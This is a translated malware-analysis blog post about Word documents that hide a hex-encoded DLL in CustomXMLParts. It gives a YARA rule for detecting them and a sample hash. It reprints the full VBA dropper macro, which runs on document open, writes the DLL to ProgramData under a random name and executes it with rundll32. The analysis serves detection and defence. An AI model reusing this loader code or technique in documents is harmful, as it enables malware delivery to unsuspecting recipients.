隱藏在xml檔案中的惡意軟體
文章地址:https://inquest.net/blog/2022/10/03/hiding-xml
翻譯:夢幻的彼岸
Hiding in the XML
Posted on 2022-10-03 by David Ledbetter
在這篇文章中,我想介紹一個叫做 "CustomXMLParts "的專案。
試圖查詢這個術語,你可以找到關於它是什麼的各種說法。簡而言之,它是一個XML容器,用於儲存將在文件中使用的任意資料。它的目的似乎是為開發者提供一種方法,以改變Office文件的格式,而這是目前還沒有的,或增加額外的功能。
在這種情況下,他們在 "customXml -> item1.xml "中儲存了一個十六進位制編碼的可執行檔案。
建立一個YARA規則來搜尋我的版本庫,只搜尋 "custom-xml-content",這讓我發現這是一個很好的專案,但仔細檢查規則所涉及的幾個檔案,發現它們並沒有被惡意使用。
因此,我也制定了一個新的規則來搜尋這個十六進位制字串。
rule Find_CustomXmlContent { meta: author = "David Ledbetter @Ledtech3" source = "https://twitter.com/StopMalvertisin/status/1571036662968512512" description = "Generic rule to find extracted custom-xml-content files." created = "2022-09-24" strings: $s0 = "custom-xml-content" nocase //Xml Tag in file $s1 = "customxml" nocase // Found in the vba not needed but left in $h0 = {2F 22 3E 34 64 35 61 39 30} // /">4d5a90 Hex str inside xml tag. condition: any of ($s*) and $h0 }
這條規則只對解壓後有 "PK "標題的辦公檔案起作用。
VBA是相當複雜的,所以讓我們快速看一下。
這裡我們看到在 "Document_Open() "上它只呼叫了1個函式。"FoalhoodPretransmitGlomerulose()"
Sub Document_Open() FoalhoodPretransmitGlomerulose End Sub Function FoalhoodPretransmitGlomerulose() Dim PharmacalLimnology() As Byte 'Extracted hex string to bytes Dim AnchorerCrawfishesRedditive As String 'full file path Dim JeersCreatinephosphoric As Integer 'not used If False Then 'Not sure what makes it false. AnchorerCrawfishesRedditive = "c:\ProgramData\xxx.dll" 'Not totaly sure found several sanbox runs with this filename. Else PharmacalLimnology = NonfamilyMandraSonnets("mEGmZfelmibJrBrK") 'Extract Hex string from CustomXml and convert to byte AnchorerCrawfishesRedditive = "c:\ProgramData\" + CriminisBadigeonEthylating(8) + ".dll" 'CriminisBadigeonEthylating(8) = build random file name 8 Chrs long ClawerLognormality PharmacalLimnology, AnchorerCrawfishesRedditive 'Write bytes to file End If Shell "rundll32 " + AnchorerCrawfishesRedditive + ",#1" 'Run File End Function Function NonfamilyMandraSonnets(SoulhealLongnose) 'Function extracts hexstring Dim PotophobiaTintypeSeptempartite, StereotacticallyUnapostolical Set PotophobiaTintypeSeptempartite = CallByName(ActiveDocument, "CustomXMLParts", VbGet, "http://" & SoulhealLongnose & "/") Set StereotacticallyUnapostolical = CallByName(PotophobiaTintypeSeptempartite, "SelectSingleNode", VbMethod, "/*[local-name()='custom-xml-content']") NonfamilyMandraSonnets = MisjudgingExpressnessHookas(CallByName(StereotacticallyUnapostolical, "Text", VbGet)) End Function Function CriminisBadigeonEthylating(ConfermentPrecooledFinks As Integer) 'Function builds a random filename the length of the value passed '8' Dim MenyanthaceaeGarridgeAnnelides As Integer Dim DiaphonesHillier As Single Dim GadfliesPteropodous As String GadfliesPteropodous = "" For MenyanthaceaeGarridgeAnnelides = 1 To ConfermentPrecooledFinks DiaphonesHillier = Rnd If DiaphonesHillier > 0.2 Then GadfliesPteropodous = GadfliesPteropodous + BabicheDeprecativelyHippies() ElseIf DiaphonesHillier > 0.6 Then GadfliesPteropodous = GadfliesPteropodous + NebbuckBarometryQuillwort() Else GadfliesPteropodous = GadfliesPteropodous + SternfullyDoggishnessTalmudists() End If Next MenyanthaceaeGarridgeAnnelides CriminisBadigeonEthylating = GadfliesPteropodous End Function Function ClawerLognormality(EsthiomenusOutgabblingTympanicity, HybridizerSequestrationsProjectional) 'Writes file bytes to the path/filename passed Dim WomanishTwelfthly As Long Dim BromizePassagingNoncontemplative As Integer BromizePassagingNoncontemplative = FreeFile Open HybridizerSequestrationsProjectional For Binary Access Write As #BromizePassagingNoncontemplative For WomanishTwelfthly = 0 To UBound(EsthiomenusOutgabblingTympanicity) - 1 Put #BromizePassagingNoncontemplative, WomanishTwelfthly + 1, CByte(EsthiomenusOutgabblingTympanicity(WomanishTwelfthly)) Next WomanishTwelfthly Close #BromizePassagingNoncontemplative End Function Function MisjudgingExpressnessHookas(MountebanklyNeuropsychologistNitrosoamine) 'Convert Hex string to bytes array ReDim CalcaneoscaphoidPolypetalAudiophiles(Len(MountebanklyNeuropsychologistNitrosoamine) / 2) As Byte Dim UnawaredChelydidae As Long, SifterCywyddHandclapping As Long Dim SporulativeHamauls SporulativeHamauls = "&H" For UnawaredChelydidae = 1 To Len(MountebanklyNeuropsychologistNitrosoamine) Step 2 CalcaneoscaphoidPolypetalAudiophiles((UnawaredChelydidae - 1) / 2) = CDec(SporulativeHamauls & Mid(MountebanklyNeuropsychologistNitrosoamine, UnawaredChelydidae, 2)) Next MisjudgingExpressnessHookas = CalcaneoscaphoidPolypetalAudiophiles End Function
這個程式碼塊包含了提取、釋放和執行dll所需的所有程式碼。
正如我們在註釋的程式碼塊中所看到的,它將找到並提取十六進位制字串,將其轉換為位元組陣列,並從給定的長度建立一個隨機檔名。然後,它將把檔案寫到磁碟上,然後執行它。
除非我錯過了什麼,否則程式碼的其餘部分似乎沒有被使用。
這個樣本的檔案雜湊值是來自YARA規則的。
SHA256: 7e06cdff2b667d8748bc8822ef11173cd7a66c5a52d2d2fbaf78c92a94c5f69c
Kimberly @StopMalvertisin的Twitter連結在這裡。該執行緒顯示,該檔案最初是作為 "rtf "傳送的,但事實上,它是一個docx檔案。(永遠不要相信檔案的副檔名)
2022年9月27日,@bigmacjpg釋出了一條推文,其中有43個doc檔案的雜湊值和dll的雜湊值,在這裡。
這裡面的誘餌似乎在我檢視的檔案中被重複使用。對圖片檔案的檔名 "VIYb.pg"(被檢測為域名)進行搜尋,我們目前得到132次點選。昨天是125次。
對所有43個檔案進行列表比較後發現,InQuest實驗室的這個列表包含了所有43個雜湊值。
此外,在同一Twitter主題中,ExecuteMalware @executemalware在GitHub上釋出了一個IOC的連結。
這些檔案是透過電子郵件傳送的,通常最後會被植入惡意軟體。
雖然這些檔案一旦被解壓就很容易被發現,但他們似乎仍在對vba進行修改,如果他們不在某個時候開始對Xml中的十六進位制字串進行編碼,我不會感到懷疑。即使混淆了Xml標記中包含的專案的絕對大小,也是一種洩露和檢測的可能性。
相關文章
- WAV音訊檔案中隱藏惡意軟體2019-10-17音訊
- 惡意軟體PE檔案重建指南2020-08-19
- 什麼是無檔案惡意軟體攻擊?如何防禦?2022-11-25
- 黑客工具可將惡意軟體隱藏於.Net框架2019-05-14黑客框架
- 在野外發現隱匿在微軟SQL Server中的首個惡意軟體後門2019-10-23微軟SQLServer
- 軟體測試常用檔案之XML2019-09-17XML
- linux ddos惡意軟體分析2020-08-19Linux
- 惡意軟體Linux/Mumblehard分析2020-08-19Linux
- Zero Access惡意軟體分析2020-08-19
- 研究人員新發現一種極為隱蔽的Linux惡意軟體2022-06-13Linux
- 惡意軟體Emotet 的新攻擊方法2022-03-01
- 是防毒軟體”失職“還是惡意軟體太”狡猾“?惡意軟體可繞過Android防護系統2021-06-24防毒Android
- "綠色"並不代表安全,一個隱藏在綠色軟體中的木馬分析2020-08-19
- 新型Linux惡意軟體隱藏在無效日期中、駭客透過微軟漏洞監視目標電腦|11月26日全球網路安全熱點2021-11-26Linux微軟
- 中國反惡意軟體聯盟於昨天在天津成立2019-05-13
- 【筆記】【THM】Malware Analysis(惡意軟體分析)2024-08-11筆記
- 惡意軟體開發-初級-Sektor 72024-07-03
- 常見惡意軟體型別及危害2022-10-21型別
- 動態惡意軟體分析工具介紹2020-11-08
- TrickBot和Emotet再奪惡意軟體之冠2020-11-21
- 為繞過檢測,攻擊者將惡意Word檔案嵌入到PDF檔案中2023-08-29
- 國外曝出人工智慧出現隱形惡意軟體,防不勝防!2018-08-10人工智慧
- 會隱身的惡意軟體,可繞過Google Play:是誰在背後操控全域性?2019-09-24Go
- 首款利用 DNS over HTTPS 隱藏網路流量的惡意軟體 Godlua 已經現身2019-07-05DNSHTTPGo
- 惡意軟體開發——記憶體相關API2021-08-28記憶體API
- 最新報告稱黑客正利用 WAV 音訊檔案隱藏挖礦惡意程式碼2019-10-21黑客音訊
- 隱藏在水印的祕密2021-07-02
- 使用UnhookMe分析惡意軟體中未受監控的系統呼叫問題2021-09-26Hook
- java去除xml檔案中的標籤2020-11-24JavaXML
- Facebook季度安全報告:假冒ChatGPT的惡意軟體激增2023-05-04ChatGPT
- 阻止惡意軟體和網路攻擊的基本方式2023-04-23
- OS X那些事---惡意軟體是如何啟動的?2020-08-19
- Qealler - 一個用Java編寫的惡意病毒軟體2019-02-08Java
- 針對資訊竊取惡意軟體AZORult的分析2018-05-29
- 從SharPersist思考惡意軟體持久化檢測2019-10-21持久化
- 最新 Mac 惡意軟體 OSX/CrescentCore 被發現2019-07-02Mac
- Trickbot惡意軟體又又又升級了!2021-02-03
- xml檔案2020-09-28XML